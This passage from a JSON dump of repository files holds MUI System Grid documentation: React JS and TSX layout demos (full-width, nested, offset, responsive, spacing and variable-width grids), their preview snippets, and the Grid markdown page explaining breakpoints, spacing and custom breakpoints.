    "content": "import { ThemeProvider, createTheme } from '@mui/system';\nimport Box from '@mui/system/Box';\nimport Grid from '@mui/system/Grid';\nimport styled from '@mui/system/styled';\n\nconst Item = styled('div')(({ theme }) => ({\n  backgroundColor: '#fff',\n  border: '1px solid',\n  borderColor: '#ced7e0',\n  padding: theme.spacing(1),\n  borderRadius: '4px',\n  textAlign: 'center',\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n    borderColor: '#444d58',\n  }),\n}));\n\nexport default function CustomBreakpointsGrid() {\n  return (\n    <ThemeProvider\n      theme={createTheme({\n        breakpoints: {\n          values: {\n            laptop: 1024,\n            tablet: 640,\n            mobile: 0,\n            desktop: 1280,\n          },\n        },\n      })}\n    >\n      <Box sx={{ flexGrow: 1 }}>\n        <Grid container spacing={{ mobile: 1, tablet: 2, laptop: 3 }}>\n          {Array.from(Array(4)).map((_, index) => (\n            <Grid\n              key={index}\n              size={{\n                mobile: 6,\n                tablet: 4,\n                laptop: 3,\n              }}\n            >\n              <Item>{index + 1}</Item>\n            </Grid>\n          ))}\n        </Grid>\n      </Box>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/components/grid/FullWidthGrid.js",
    "content": "import Box from '@mui/system/Box';\nimport Grid from '@mui/system/Grid';\nimport styled from '@mui/system/styled';\n\nconst Item = styled('div')(({ theme }) => ({\n  backgroundColor: '#fff',\n  border: '1px solid',\n  borderColor: '#ced7e0',\n  padding: theme.spacing(1),\n  borderRadius: '4px',\n  textAlign: 'center',\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n    borderColor: '#444d58',\n  }),\n}));\n\nexport default function FullWidthGrid() {\n  return (\n    <Box sx={{ flexGrow: 1 }}>\n      <Grid container spacing={2}>\n        <Grid size={{ xs: 6, md: 8 }}>\n          <Item>xs=6 md=8</Item>\n        </Grid>\n        <Grid size={{ xs: 6, md: 4 }}>\n          <Item>xs=6 md=4</Item>\n        </Grid>\n        <Grid size={{ xs: 6, md: 4 }}>\n          <Item>xs=6 md=4</Item>\n        </Grid>\n        <Grid size={{ xs: 6, md: 8 }}>\n          <Item>xs=6 md=8</Item>\n        </Grid>\n      </Grid>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/components/grid/FullWidthGrid.tsx",
    "content": "import Box from '@mui/system/Box';\nimport Grid from '@mui/system/Grid';\nimport styled from '@mui/system/styled';\n\nconst Item = styled('div')(({ theme }) => ({\n  backgroundColor: '#fff',\n  border: '1px solid',\n  borderColor: '#ced7e0',\n  padding: theme.spacing(1),\n  borderRadius: '4px',\n  textAlign: 'center',\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n    borderColor: '#444d58',\n  }),\n}));\n\nexport default function FullWidthGrid() {\n  return (\n    <Box sx={{ flexGrow: 1 }}>\n      <Grid container spacing={2}>\n        <Grid size={{ xs: 6, md: 8 }}>\n          <Item>xs=6 md=8</Item>\n        </Grid>\n        <Grid size={{ xs: 6, md: 4 }}>\n          <Item>xs=6 md=4</Item>\n        </Grid>\n        <Grid size={{ xs: 6, md: 4 }}>\n          <Item>xs=6 md=4</Item>\n        </Grid>\n        <Grid size={{ xs: 6, md: 8 }}>\n          <Item>xs=6 md=8</Item>\n        </Grid>\n      </Grid>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/components/grid/FullWidthGrid.tsx.preview",
    "content": "<Grid container spacing={2}>\n  <Grid size={{ xs: 6, md: 8 }}>\n    <Item>xs=6 md=8</Item>\n  </Grid>\n  <Grid size={{ xs: 6, md: 4 }}>\n    <Item>xs=6 md=4</Item>\n  </Grid>\n  <Grid size={{ xs: 6, md: 4 }}>\n    <Item>xs=6 md=4</Item>\n  </Grid>\n  <Grid size={{ xs: 6, md: 8 }}>\n    <Item>xs=6 md=8</Item>\n  </Grid>\n</Grid>"
  },
  {
    "path": "docs/data/system/components/grid/NestedGrid.js",
    "content": "import Box from '@mui/system/Box';\nimport Grid from '@mui/system/Grid';\nimport styled from '@mui/system/styled';\n\nconst Item = styled('div')(({ theme }) => ({\n  border: '1px solid',\n  borderColor: '#ced7e0',\n  borderRadius: '4px',\n  ...theme.applyStyles('dark', {\n    borderColor: '#444d58',\n  }),\n}));\n\nexport default function NestedGrid() {\n  return (\n    <Box sx={{ flexGrow: 1 }}>\n      <Grid container spacing={2}>\n        <Grid size={{ xs: 12, md: 5, lg: 4 }}>\n          <Item>Email subscribe section</Item>\n        </Grid>\n        <Grid container spacing={4} size={{ xs: 12, md: 7, lg: 8 }}>\n          <Grid size={{ xs: 6, lg: 3 }}>\n            <Item>\n              <Box\n                id=\"category-a\"\n                sx={{ fontSize: '12px', textTransform: 'uppercase' }}\n              >\n                Category A\n              </Box>\n              <Box component=\"ul\" aria-labelledby=\"category-a\" sx={{ pl: 2 }}>\n                <li>Link 1.1</li>\n                <li>Link 1.2</li>\n                <li>Link 1.3</li>\n              </Box>\n            </Item>\n          </Grid>\n          <Grid size={{ xs: 6, lg: 3 }}>\n            <Item>\n              <Box\n                id=\"category-b\"\n                sx={{ fontSize: '12px', textTransform: 'uppercase' }}\n              >\n                Category B\n              </Box>\n              <Box component=\"ul\" aria-labelledby=\"category-b\" sx={{ pl: 2 }}>\n                <li>Link 2.1</li>\n                <li>Link 2.2</li>\n                <li>Link 2.3</li>\n              </Box>\n            </Item>\n          </Grid>\n          <Grid size={{ xs: 6, lg: 3 }}>\n            <Item>\n              <Box\n                id=\"category-c\"\n                sx={{ fontSize: '12px', textTransform: 'uppercase' }}\n              >\n                Category C\n              </Box>\n              <Box component=\"ul\" aria-labelledby=\"category-c\" sx={{ pl: 2 }}>\n                <li>Link 3.1</li>\n                <li>Link 3.2</li>\n                <li>Link 3.3</li>\n              </Box>\n            </Item>\n          </Grid>\n          <Grid size={{ xs: 6, lg: 3 }}>\n            <Item>\n              <Box\n                id=\"category-d\"\n                sx={{ fontSize: '12px', textTransform: 'uppercase' }}\n              >\n                Category D\n              </Box>\n              <Box component=\"ul\" aria-labelledby=\"category-d\" sx={{ pl: 2 }}>\n                <li>Link 4.1</li>\n                <li>Link 4.2</li>\n                <li>Link 4.3</li>\n              </Box>\n            </Item>\n          </Grid>\n        </Grid>\n        <Grid\n          container\n          sx={{\n            justifyContent: 'space-between',\n            alignItems: 'center',\n            flexDirection: { xs: 'column', sm: 'row' },\n            fontSize: '12px',\n          }}\n          size={12}\n        >\n          <Grid sx={{ order: { xs: 2, sm: 1 } }}>\n            <Item>© Copyright</Item>\n          </Grid>\n          <Grid container columnSpacing={1} sx={{ order: { xs: 1, sm: 2 } }}>\n            <Grid>\n              <Item>Link A</Item>\n            </Grid>\n            <Grid>\n              <Item>Link B</Item>\n            </Grid>\n            <Grid>\n              <Item>Link C</Item>\n            </Grid>\n          </Grid>\n        </Grid>\n      </Grid>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/components/grid/NestedGrid.tsx",
    "content": "import Box from '@mui/system/Box';\nimport Grid from '@mui/system/Grid';\nimport styled from '@mui/system/styled';\n\nconst Item = styled('div')(({ theme }) => ({\n  border: '1px solid',\n  borderColor: '#ced7e0',\n  borderRadius: '4px',\n  ...theme.applyStyles('dark', {\n    borderColor: '#444d58',\n  }),\n}));\n\nexport default function NestedGrid() {\n  return (\n    <Box sx={{ flexGrow: 1 }}>\n      <Grid container spacing={2}>\n        <Grid size={{ xs: 12, md: 5, lg: 4 }}>\n          <Item>Email subscribe section</Item>\n        </Grid>\n        <Grid container spacing={4} size={{ xs: 12, md: 7, lg: 8 }}>\n          <Grid size={{ xs: 6, lg: 3 }}>\n            <Item>\n              <Box\n                id=\"category-a\"\n                sx={{ fontSize: '12px', textTransform: 'uppercase' }}\n              >\n                Category A\n              </Box>\n              <Box component=\"ul\" aria-labelledby=\"category-a\" sx={{ pl: 2 }}>\n                <li>Link 1.1</li>\n                <li>Link 1.2</li>\n                <li>Link 1.3</li>\n              </Box>\n            </Item>\n          </Grid>\n          <Grid size={{ xs: 6, lg: 3 }}>\n            <Item>\n              <Box\n                id=\"category-b\"\n                sx={{ fontSize: '12px', textTransform: 'uppercase' }}\n              >\n                Category B\n              </Box>\n              <Box component=\"ul\" aria-labelledby=\"category-b\" sx={{ pl: 2 }}>\n                <li>Link 2.1</li>\n                <li>Link 2.2</li>\n                <li>Link 2.3</li>\n              </Box>\n            </Item>\n          </Grid>\n          <Grid size={{ xs: 6, lg: 3 }}>\n            <Item>\n              <Box\n                id=\"category-c\"\n                sx={{ fontSize: '12px', textTransform: 'uppercase' }}\n              >\n                Category C\n              </Box>\n              <Box component=\"ul\" aria-labelledby=\"category-c\" sx={{ pl: 2 }}>\n                <li>Link 3.1</li>\n                <li>Link 3.2</li>\n                <li>Link 3.3</li>\n              </Box>\n            </Item>\n          </Grid>\n          <Grid size={{ xs: 6, lg: 3 }}>\n            <Item>\n              <Box\n                id=\"category-d\"\n                sx={{ fontSize: '12px', textTransform: 'uppercase' }}\n              >\n                Category D\n              </Box>\n              <Box component=\"ul\" aria-labelledby=\"category-d\" sx={{ pl: 2 }}>\n                <li>Link 4.1</li>\n                <li>Link 4.2</li>\n                <li>Link 4.3</li>\n              </Box>\n            </Item>\n          </Grid>\n        </Grid>\n        <Grid\n          container\n          sx={{\n            justifyContent: 'space-between',\n            alignItems: 'center',\n            flexDirection: { xs: 'column', sm: 'row' },\n            fontSize: '12px',\n          }}\n          size={12}\n        >\n          <Grid sx={{ order: { xs: 2, sm: 1 } }}>\n            <Item>© Copyright</Item>\n          </Grid>\n          <Grid container columnSpacing={1} sx={{ order: { xs: 1, sm: 2 } }}>\n            <Grid>\n              <Item>Link A</Item>\n            </Grid>\n            <Grid>\n              <Item>Link B</Item>\n            </Grid>\n            <Grid>\n              <Item>Link C</Item>\n            </Grid>\n          </Grid>\n        </Grid>\n      </Grid>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/components/grid/OffsetGrid.js",
    "content": "import Grid from '@mui/system/Grid';\nimport styled from '@mui/system/styled';\n\nconst Item = styled('div')(({ theme }) => ({\n  backgroundColor: '#fff',\n  border: '1px solid',\n  borderColor: '#ced7e0',\n  padding: theme.spacing(1),\n  borderRadius: '4px',\n  textAlign: 'center',\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n    borderColor: '#444d58',\n  }),\n}));\n\nexport default function OffsetGrid() {\n  return (\n    <Grid container spacing={3} sx={{ flexGrow: 1 }}>\n      <Grid size={{ xs: 6, md: 2 }} offset={{ xs: 3, md: 0 }}>\n        <Item>1</Item>\n      </Grid>\n      <Grid size={{ xs: 4, md: 2 }} offset={{ md: 'auto' }}>\n        <Item>2</Item>\n      </Grid>\n      <Grid size={{ xs: 4, md: 2 }} offset={{ xs: 4, md: 0 }}>\n        <Item>3</Item>\n      </Grid>\n      <Grid size={{ xs: 'grow', md: 6 }} offset={{ md: 2 }}>\n        <Item>4</Item>\n      </Grid>\n    </Grid>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/components/grid/OffsetGrid.tsx",
    "content": "import Grid from '@mui/system/Grid';\nimport styled from '@mui/system/styled';\n\nconst Item = styled('div')(({ theme }) => ({\n  backgroundColor: '#fff',\n  border: '1px solid',\n  borderColor: '#ced7e0',\n  padding: theme.spacing(1),\n  borderRadius: '4px',\n  textAlign: 'center',\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n    borderColor: '#444d58',\n  }),\n}));\n\nexport default function OffsetGrid() {\n  return (\n    <Grid container spacing={3} sx={{ flexGrow: 1 }}>\n      <Grid size={{ xs: 6, md: 2 }} offset={{ xs: 3, md: 0 }}>\n        <Item>1</Item>\n      </Grid>\n      <Grid size={{ xs: 4, md: 2 }} offset={{ md: 'auto' }}>\n        <Item>2</Item>\n      </Grid>\n      <Grid size={{ xs: 4, md: 2 }} offset={{ xs: 4, md: 0 }}>\n        <Item>3</Item>\n      </Grid>\n      <Grid size={{ xs: 'grow', md: 6 }} offset={{ md: 2 }}>\n        <Item>4</Item>\n      </Grid>\n    </Grid>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/components/grid/OffsetGrid.tsx.preview",
    "content": "<Grid container spacing={3} sx={{ flexGrow: 1 }}>\n  <Grid size={{ xs: 6, md: 2 }} offset={{ xs: 3, md: 0 }}>\n    <Item>1</Item>\n  </Grid>\n  <Grid size={{ xs: 4, md: 2 }} offset={{ md: 'auto' }}>\n    <Item>2</Item>\n  </Grid>\n  <Grid size={{ xs: 4, md: 2 }} offset={{ xs: 4, md: 0 }}>\n    <Item>3</Item>\n  </Grid>\n  <Grid size={{ xs: 'grow', md: 6 }} offset={{ md: 2 }}>\n    <Item>4</Item>\n  </Grid>\n</Grid>"
  },
  {
    "path": "docs/data/system/components/grid/ResponsiveGrid.js",
    "content": "import Box from '@mui/system/Box';\nimport Grid from '@mui/system/Grid';\nimport styled from '@mui/system/styled';\n\nconst Item = styled('div')(({ theme }) => ({\n  backgroundColor: '#fff',\n  border: '1px solid',\n  borderColor: '#ced7e0',\n  padding: theme.spacing(1),\n  borderRadius: '4px',\n  textAlign: 'center',\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n    borderColor: '#444d58',\n  }),\n}));\n\nexport default function ResponsiveGrid() {\n  return (\n    <Box sx={{ flexGrow: 1 }}>\n      <Grid container spacing={{ xs: 2, md: 3 }} columns={{ xs: 4, sm: 8, md: 12 }}>\n        {Array.from(Array(6)).map((_, index) => (\n          <Grid key={index} size={{ xs: 2, sm: 4 }}>\n            <Item>{index + 1}</Item>\n          </Grid>\n        ))}\n      </Grid>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/components/grid/ResponsiveGrid.tsx",
    "content": "import Box from '@mui/system/Box';\nimport Grid from '@mui/system/Grid';\nimport styled from '@mui/system/styled';\n\nconst Item = styled('div')(({ theme }) => ({\n  backgroundColor: '#fff',\n  border: '1px solid',\n  borderColor: '#ced7e0',\n  padding: theme.spacing(1),\n  borderRadius: '4px',\n  textAlign: 'center',\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n    borderColor: '#444d58',\n  }),\n}));\n\nexport default function ResponsiveGrid() {\n  return (\n    <Box sx={{ flexGrow: 1 }}>\n      <Grid container spacing={{ xs: 2, md: 3 }} columns={{ xs: 4, sm: 8, md: 12 }}>\n        {Array.from(Array(6)).map((_, index) => (\n          <Grid key={index} size={{ xs: 2, sm: 4 }}>\n            <Item>{index + 1}</Item>\n          </Grid>\n        ))}\n      </Grid>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/components/grid/ResponsiveGrid.tsx.preview",
    "content": "<Grid container spacing={{ xs: 2, md: 3 }} columns={{ xs: 4, sm: 8, md: 12 }}>\n  {Array.from(Array(6)).map((_, index) => (\n    <Grid key={index} size={{ xs: 2, sm: 4 }}>\n      <Item>{index + 1}</Item>\n    </Grid>\n  ))}\n</Grid>"
  },
  {
    "path": "docs/data/system/components/grid/RowAndColumnSpacing.js",
    "content": "import styled from '@mui/system/styled';\nimport Grid from '@mui/system/Grid';\nimport Box from '@mui/system/Box';\n\nconst Item = styled('div')(({ theme }) => ({\n  backgroundColor: '#fff',\n  border: '1px solid',\n  borderColor: '#ced7e0',\n  padding: theme.spacing(1),\n  borderRadius: '4px',\n  textAlign: 'center',\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n    borderColor: '#444d58',\n  }),\n}));\n\nexport default function RowAndColumnSpacing() {\n  return (\n    <Box sx={{ width: '100%' }}>\n      <Grid container rowSpacing={1} columnSpacing={{ xs: 1, sm: 2, md: 3 }}>\n        <Grid size={6}>\n          <Item>1</Item>\n        </Grid>\n        <Grid size={6}>\n          <Item>2</Item>\n        </Grid>\n        <Grid size={6}>\n          <Item>3</Item>\n        </Grid>\n        <Grid size={6}>\n          <Item>4</Item>\n        </Grid>\n      </Grid>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/components/grid/RowAndColumnSpacing.tsx",
    "content": "import styled from '@mui/system/styled';\nimport Grid from '@mui/system/Grid';\nimport Box from '@mui/system/Box';\n\nconst Item = styled('div')(({ theme }) => ({\n  backgroundColor: '#fff',\n  border: '1px solid',\n  borderColor: '#ced7e0',\n  padding: theme.spacing(1),\n  borderRadius: '4px',\n  textAlign: 'center',\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n    borderColor: '#444d58',\n  }),\n}));\n\nexport default function RowAndColumnSpacing() {\n  return (\n    <Box sx={{ width: '100%' }}>\n      <Grid container rowSpacing={1} columnSpacing={{ xs: 1, sm: 2, md: 3 }}>\n        <Grid size={6}>\n          <Item>1</Item>\n        </Grid>\n        <Grid size={6}>\n          <Item>2</Item>\n        </Grid>\n        <Grid size={6}>\n          <Item>3</Item>\n        </Grid>\n        <Grid size={6}>\n          <Item>4</Item>\n        </Grid>\n      </Grid>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/components/grid/RowAndColumnSpacing.tsx.preview",
    "content": "<Grid container rowSpacing={1} columnSpacing={{ xs: 1, sm: 2, md: 3 }}>\n  <Grid size={6}>\n    <Item>1</Item>\n  </Grid>\n  <Grid size={6}>\n    <Item>2</Item>\n  </Grid>\n  <Grid size={6}>\n    <Item>3</Item>\n  </Grid>\n  <Grid size={6}>\n    <Item>4</Item>\n  </Grid>\n</Grid>"
  },
  {
    "path": "docs/data/system/components/grid/SpacingGrid.js",
    "content": "import * as React from 'react';\nimport Grid from '@mui/system/Grid';\nimport FormLabel from '@mui/material/FormLabel';\nimport FormControl from '@mui/material/FormControl';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport RadioGroup from '@mui/material/RadioGroup';\nimport Radio from '@mui/material/Radio';\nimport Paper from '@mui/material/Paper';\nimport { HighlightedCode } from '@mui/docs/HighlightedCode';\n\nexport default function SpacingGrid() {\n  const [spacing, setSpacing] = React.useState(2);\n\n  const handleChange = (event) => {\n    setSpacing(Number(event.target.value));\n  };\n\n  const jsx = `\n<Grid container spacing={${spacing}}>\n`;\n\n  return (\n    <Grid sx={{ flexGrow: 1 }} container spacing={2}>\n      <Grid size={12}>\n        <Grid container spacing={spacing} sx={{ justifyContent: 'center' }}>\n          {[0, 1, 2].map((value) => (\n            <Grid key={value}>\n              <Paper\n                sx={(theme) => ({\n                  height: 140,\n                  width: 100,\n                  backgroundColor: '#fff',\n                  ...theme.applyStyles('dark', {\n                    backgroundColor: '#1A2027',\n                  }),\n                })}\n              />\n            </Grid>\n          ))}\n        </Grid>\n      </Grid>\n      <Grid size={12}>\n        <Paper sx={{ p: 2 }}>\n          <Grid container>\n            <Grid>\n              <FormControl component=\"fieldset\">\n                <FormLabel component=\"legend\">spacing</FormLabel>\n                <RadioGroup\n                  name=\"spacing\"\n                  aria-label=\"spacing\"\n                  value={spacing.toString()}\n                  onChange={handleChange}\n                  row\n                >\n                  {[0, 0.5, 1, 2, 3, 4, 8, 12].map((value) => (\n                    <FormControlLabel\n                      key={value}\n                      value={value.toString()}\n                      control={<Radio />}\n                      label={value.toString()}\n                    />\n                  ))}\n                </RadioGroup>\n              </FormControl>\n            </Grid>\n          </Grid>\n        </Paper>\n        <HighlightedCode code={jsx} language=\"jsx\" />\n      </Grid>\n    </Grid>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/components/grid/SpacingGrid.tsx",
    "content": "import * as React from 'react';\nimport Grid from '@mui/system/Grid';\nimport FormLabel from '@mui/material/FormLabel';\nimport FormControl from '@mui/material/FormControl';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport RadioGroup from '@mui/material/RadioGroup';\nimport Radio from '@mui/material/Radio';\nimport Paper from '@mui/material/Paper';\nimport { HighlightedCode } from '@mui/docs/HighlightedCode';\n\nexport default function SpacingGrid() {\n  const [spacing, setSpacing] = React.useState(2);\n\n  const handleChange = (event: React.ChangeEvent<HTMLInputElement>) => {\n    setSpacing(Number((event.target as HTMLInputElement).value));\n  };\n\n  const jsx = `\n<Grid container spacing={${spacing}}>\n`;\n\n  return (\n    <Grid sx={{ flexGrow: 1 }} container spacing={2}>\n      <Grid size={12}>\n        <Grid container spacing={spacing} sx={{ justifyContent: 'center' }}>\n          {[0, 1, 2].map((value) => (\n            <Grid key={value}>\n              <Paper\n                sx={(theme) => ({\n                  height: 140,\n                  width: 100,\n                  backgroundColor: '#fff',\n                  ...theme.applyStyles('dark', {\n                    backgroundColor: '#1A2027',\n                  }),\n                })}\n              />\n            </Grid>\n          ))}\n        </Grid>\n      </Grid>\n      <Grid size={12}>\n        <Paper sx={{ p: 2 }}>\n          <Grid container>\n            <Grid>\n              <FormControl component=\"fieldset\">\n                <FormLabel component=\"legend\">spacing</FormLabel>\n                <RadioGroup\n                  name=\"spacing\"\n                  aria-label=\"spacing\"\n                  value={spacing.toString()}\n                  onChange={handleChange}\n                  row\n                >\n                  {[0, 0.5, 1, 2, 3, 4, 8, 12].map((value) => (\n                    <FormControlLabel\n                      key={value}\n                      value={value.toString()}\n                      control={<Radio />}\n                      label={value.toString()}\n                    />\n                  ))}\n                </RadioGroup>\n              </FormControl>\n            </Grid>\n          </Grid>\n        </Paper>\n        <HighlightedCode code={jsx} language=\"jsx\" />\n      </Grid>\n    </Grid>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/components/grid/VariableWidthGrid.js",
    "content": "import Box from '@mui/system/Box';\nimport Grid from '@mui/system/Grid';\nimport styled from '@mui/system/styled';\n\nconst Item = styled('div')(({ theme }) => ({\n  backgroundColor: '#fff',\n  border: '1px solid',\n  borderColor: '#ced7e0',\n  padding: theme.spacing(1),\n  borderRadius: '4px',\n  textAlign: 'center',\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n    borderColor: '#444d58',\n  }),\n}));\n\nexport default function VariableWidthGrid() {\n  return (\n    <Box sx={{ flexGrow: 1 }}>\n      <Grid container spacing={3}>\n        <Grid size=\"auto\">\n          <Item>size=auto</Item>\n        </Grid>\n        <Grid size={6}>\n          <Item>size=6</Item>\n        </Grid>\n        <Grid size=\"grow\">\n          <Item>size=grow</Item>\n        </Grid>\n      </Grid>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/components/grid/VariableWidthGrid.tsx",
    "content": "import Box from '@mui/system/Box';\nimport Grid from '@mui/system/Grid';\nimport styled from '@mui/system/styled';\n\nconst Item = styled('div')(({ theme }) => ({\n  backgroundColor: '#fff',\n  border: '1px solid',\n  borderColor: '#ced7e0',\n  padding: theme.spacing(1),\n  borderRadius: '4px',\n  textAlign: 'center',\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n    borderColor: '#444d58',\n  }),\n}));\n\nexport default function VariableWidthGrid() {\n  return (\n    <Box sx={{ flexGrow: 1 }}>\n      <Grid container spacing={3}>\n        <Grid size=\"auto\">\n          <Item>size=auto</Item>\n        </Grid>\n        <Grid size={6}>\n          <Item>size=6</Item>\n        </Grid>\n        <Grid size=\"grow\">\n          <Item>size=grow</Item>\n        </Grid>\n      </Grid>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/components/grid/VariableWidthGrid.tsx.preview",
    "content": "<Grid container spacing={3}>\n  <Grid size=\"auto\">\n    <Item>size=auto</Item>\n  </Grid>\n  <Grid size={6}>\n    <Item>size=6</Item>\n  </Grid>\n  <Grid size=\"grow\">\n    <Item>size=grow</Item>\n  </Grid>\n</Grid>"
  },
  {
    "path": "docs/data/system/components/grid/grid.md",
    "content": "---\nproductId: system\ntitle: React Grid component\ngithubLabel: 'component: Grid'\n---\n\n# Grid\n\n<p class=\"description\">The responsive layout grid adapts to screen size and orientation, ensuring consistency across layouts.</p>\n\n{{\"component\": \"@mui/docs/ComponentLinkHeader\", \"design\": false}}\n\nThe `Grid` component works well for a layout with known columns. The columns can be configured in multiple breakpoints which you have to specify the column span of each child.\n\n## How it works\n\nThe grid system is implemented with the `Grid` component:\n\n- It uses [CSS's Flexible Box module](https://www.w3.org/TR/css-flexbox-1/) for high flexibility.\n- The grid is always a flex item. Use the `container` prop to add flex container to it.\n- Item widths are set in percentages, so they're always fluid and sized relative to their parent element.\n- There are five default grid breakpoints: xs, sm, md, lg, and xl. If you need custom breakpoints, check out [custom breakpoints grid](#custom-breakpoints).\n- Integer values can be given to each breakpoint, indicating how many of the 12 available columns are occupied by the component when the viewport width satisfies the [breakpoint constraints](/material-ui/customization/breakpoints/#default-breakpoints).\n- It **does not** have the concept of rows. Meaning, you can't make the children span to multiple rows. If you need to do that, we recommend using [CSS Grid](https://developer.mozilla.org/en-US/docs/Web/CSS/Guides/Grid_layout) instead.\n- It **does not** offer auto-placement children feature. It will try to fit the children one by one and if there is not enough space, the rest of the children will start on the next line and so on. If you need the auto-placement feature, we recommend using [CSS Grid](https://developer.mozilla.org/en-US/docs/Web/CSS/Guides/Grid_layout/Auto-placement) instead.\n\n:::warning\nThe Grid component shouldn't be confused with a data grid; it is closer to a layout grid. For a data grid head to [the Data Grid component](/x/react-data-grid/).\n:::\n\n## Fluid grids\n\nFluid grids use columns that scale and resize content. A fluid grid's layout can use breakpoints to determine if the layout needs to change dramatically.\n\n### Basic grid\n\nIn order to create a grid layout, you need a container. Use `container` prop to create a grid container that wraps the grid items (the `Grid` is always an item).\n\nColumn widths are integer values between 1 and 12.\nFor example, an item with `size={6}` occupies half of the grid container's width.\n\n{{\"demo\": \"BasicGrid.js\", \"bg\": true}}\n\n### Multiple breakpoints\n\nComponents may have multiple widths defined, causing the layout to change at the defined breakpoint. Width values given to larger breakpoints override those given to smaller breakpoints.\n\nFor example, `size={{ xs: 12, sm: 6 }}` sizes a component to occupy half of the viewport width (6 columns) when viewport width is [600 or more pixels](/material-ui/customization/breakpoints/#default-breakpoints). For smaller viewports, the component fills all 12 available columns.\n\n{{\"demo\": \"FullWidthGrid.js\", \"bg\": true}}\n\n## Spacing\n\nTo control space between children, use the `spacing` prop.\nThe spacing value can be any positive number, including decimals and any string.\nThe prop is converted into a CSS property using the [`theme.spacing()`](/material-ui/customization/spacing/) helper.\n\n{{\"demo\": \"SpacingGrid.js\", \"bg\": true, \"hideToolbar\": true}}\n\n### Row & column spacing\n\nThe `rowSpacing` and `columnSpacing` props allow for specifying the row and column gaps independently.\nIt's similar to the `row-gap` and `column-gap` properties of [CSS Grid](/system/grid/#row-gap-column-gap).\n\n{{\"demo\": \"RowAndColumnSpacing.js\", \"bg\": true}}\n\n## Responsive values\n\nYou can switch the props' value based on the active breakpoint.\nFor instance, we can implement the [recommended](https://m2.material.io/design/layout/responsive-layout-grid.html) responsive layout grid of Material Design.\n\n{{\"demo\": \"ResponsiveGrid.js\", \"bg\": true}}\n\nResponsive values is supported by:\n\n- `size`\n- `columns`\n- `columnSpacing`\n- `direction`\n- `rowSpacing`\n- `spacing`\n- `offset`\n- all the [other props](/system/properties/) of MUI System\n\n## Auto-layout\n\nThe Auto-layout makes the _items_ equitably share the available space.\nThat also means you can set the width of one _item_ and the others will automatically resize around it.\n\n{{\"demo\": \"AutoGrid.js\", \"bg\": true}}\n\n### Variable width content\n\nSet one of the size breakpoint props to `\"auto\"` to size a column based on the width of its content.\n\n{{\"demo\": \"VariableWidthGrid.js\", \"bg\": true}}\n\n## Nested Grid\n\nThe grid container that renders inside another grid container is a nested grid which inherits the [`columns`](#columns) and [`spacing`](#spacing) from the top. The deep nested grid will inherit the props from the upper nested grid if it receives those props.\n\n{{\"demo\": \"NestedGrid.js\", \"bg\": true}}\n\n## Columns\n\nYou can change the default number of columns (12) with the `columns` prop.\n\n{{\"demo\": \"ColumnsGrid.js\", \"bg\": true}}\n\n## Offset\n\nMove the item to the right by using the `offset` prop which can be:\n\n- number, for example, `offset={{ md: 2 }}` - when used the item is moved to the right by 2 columns starts from `md` breakpoint and up.\n- `\"auto\"` - when used, the item is moved to the right edge of the grid container.\n\n{{\"demo\": \"OffsetGrid.js\", \"bg\": true}}\n\n## Custom breakpoints\n\nIf you specify custom breakpoints to the theme, you can use those names as grid item props in responsive values.\n\n{{\"demo\": \"CustomBreakpointsGrid.js\", \"bg\": true}}\n\n:::info\nCustom breakpoints affect all [responsive values](#responsive-values).\n:::\n\n### TypeScript\n\nYou have to set module augmentation on the theme breakpoints interface.\n\n```ts\ndeclare module '@mui/system' {\n  interface BreakpointOverrides {\n    // Your custom breakpoints\n    laptop: true;\n    tablet: true;\n    mobile: true;\n    desktop: true;\n    // Remove default breakpoints\n    xs: false;\n    sm: false;\n    md: false;\n    lg: false;\n    xl: false;\n  }\n}\n```\n\n## Limitations\n\n### direction column and column-reverse\n\nThe `size` and `offset` props are **not supported** within `direction=\"column\"` and `direction=\"column-reverse\"` containers.\n\nThey define the number of grids the component will use for a given breakpoint. They are intended to control **width** using `flex-basis` in `row` containers but they will impact height in `column` containers.\nIf used, these props may have undesirable effects on the height of the `Grid` item elements.\n"
  },
  {
    "path": "docs/data/system/components/stack/BasicStack.js",
    "content": "import Box from '@mui/system/Box';\nimport Stack from '@mui/system/Stack';\nimport { styled } from '@mui/system';\n\nconst Item = styled('div')(({ theme }) => ({\n  backgroundColor: '#fff',\n  padding: theme.spacing(1),\n  textAlign: 'center',\n  borderRadius: 4,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#262B32',\n  }),\n}));\n\nexport default function BasicStack() {\n  return (\n    <Box sx={{ width: '100%' }}>\n      <Stack spacing={2}>\n        <Item>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Item 3</Item>\n      </Stack>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/components/stack/BasicStack.tsx",
